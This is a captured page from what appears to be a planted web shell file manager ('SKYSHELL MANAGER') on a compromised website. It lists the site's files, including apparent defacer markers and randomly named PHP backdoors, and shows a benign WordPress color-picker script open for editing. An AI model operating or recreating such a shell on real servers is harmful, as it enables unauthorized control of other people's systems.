📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: color.js
import { __ } from '@wordpress/i18n'; import { ColorPicker, Popover } from '@wordpress/components'; import { useState, useEffect, useRef } from '@wordpress/element'; import { LabelControl } from './label'; export const ColorControl = (props) => { const { prop, value, setAttributes } = props; const { name } = prop['c']; const onChange = (color = '') => { setAttributes({ [name]: color}); } const handleGlobalColor = (item) => { setAttributes({ [name]: '$' + item }); } return ( <div className="components-base-control pagelayer-base-control"> <LabelControl {...props}/> <ColorPickerControl name={name} value={value} onChange = {onChange} setAttributes={setAttributes} type ={prop.type} handleClick ={handleGlobalColor} /> </div> ); } // Color picker export const ColorPickerControl = (props) => { const { name, value, onChange, setAttributes, type, handleClick, showRemoveIcon = true } = props; const [showPicker, setShowPicker] = useState(false); const holderDiv = useRef(null); const colorPickerRef = useRef(null); const colorPopoverRef = useRef(null); const globalRef = useRef(null); let val = value; var is_global = pagelayerIsGlobalColor(val); var global_active = ''; // If global color exist if (!pagelayer_empty(is_global)) { val = pagelayer_global_colors[is_global]['value']; global_active = 'pagelayer-active-global'; } useEffect(() => { const handleDocumentClick = (e) => { if ( colorPickerRef.current && colorPopoverRef.current && !colorPickerRef.current.contains(e.target) && !colorPopoverRef.current.contains(e.target) ) { setShowPicker(false); } // Global color handler if ( globalRef.current && !globalRef.current.contains(e.target) ) { jQuery(holderDiv.current).find('.pagelayer-global-color-list').slideUp(); } }; document.addEventListener('click', handleDocumentClick); return () => { document.removeEventListener('click', handleDocumentClick); }; }, []); useEffect(() => { let list = jQuery(holderDiv.current).find('.pagelayer-global-color-list'); jQuery(holderDiv.current).find('.pagelayer-elp-color-global').on('click', function (e) { e.stopPropagation(); list.slideToggle(); setShowPicker(false); }); jQuery(holderDiv.current).find('.pagelayer-global-color-list-item').on('click', function (e) { list.slideUp(); }); }, []) const handleGlobalLink = (e) =>{ e.stopPropagation(); window.open(pagelayer_customizer_url + '&autofocus%5Bsection%5D=pagelayer_global_colors_sec', '_blank'); } var blank = 'pagelayer-blank-preview'; var preView = {}; if(!pagelayer_empty(value)){ blank = ''; preView = { backgroundColor: is_global ? val : value }; } const onRemoveColor = () => { setAttributes({ [name]: '' }); setShowPicker(false); } return ( <div className="pagelayer-elp-color-div-holder" ref={holderDiv}> <div className={`pagelayer-elp-color-global ${global_active}`}></div> <div className="pagelayer-elp-color-div" ref={colorPickerRef}> <div className={`pagelayer-elp-color-preview ${blank}`} onClick={() => setShowPicker(!showPicker)} style={preView} > </div> { showRemoveIcon && <span className="pagelayer-elp-remove-color" onClick={() => { onRemoveColor() }} ><i className="pli pli-cross" ></i></span> } {showPicker && <Popover ref={colorPopoverRef}> <ColorPicker color={value || ""} onChangeComplete={(val) => { if (val.rgb) { onChange( val.rgb.a != 1 ? "rgba(" + val.rgb.r + "," + val.rgb.g + "," + val.rgb.b + "," + val.rgb.a + ")" : val.hex ); } }} disableAlpha={false} /> </Popover> } </div> <div className="pagelayer-global-color-list" ref={globalRef}> <div className="pagelayer-global-setting-color"> <b>{ __('Global Colors') }</b> <span className="pli pli-service" onClick={handleGlobalLink}></span> </div> { Object.keys(pagelayer_global_colors).map(items => { const color = pagelayer_global_colors[items]; const activeClass = items === is_global ? 'pagelayer-global-selected' : ''; return ( <div key={items} className={`pagelayer-global-color-list-item ${activeClass}`} data-global-id={items} onClick={() =>handleClick(items)} > <span className="pagelayer-global-color-pre" style={{ background: color.value }}></span> <span className="pagelayer-global-color-title">{color.title}</span> <span className="pagelayer-global-color-code">{color.value}</span> </div> ) }) } </div> </div> ); }
Save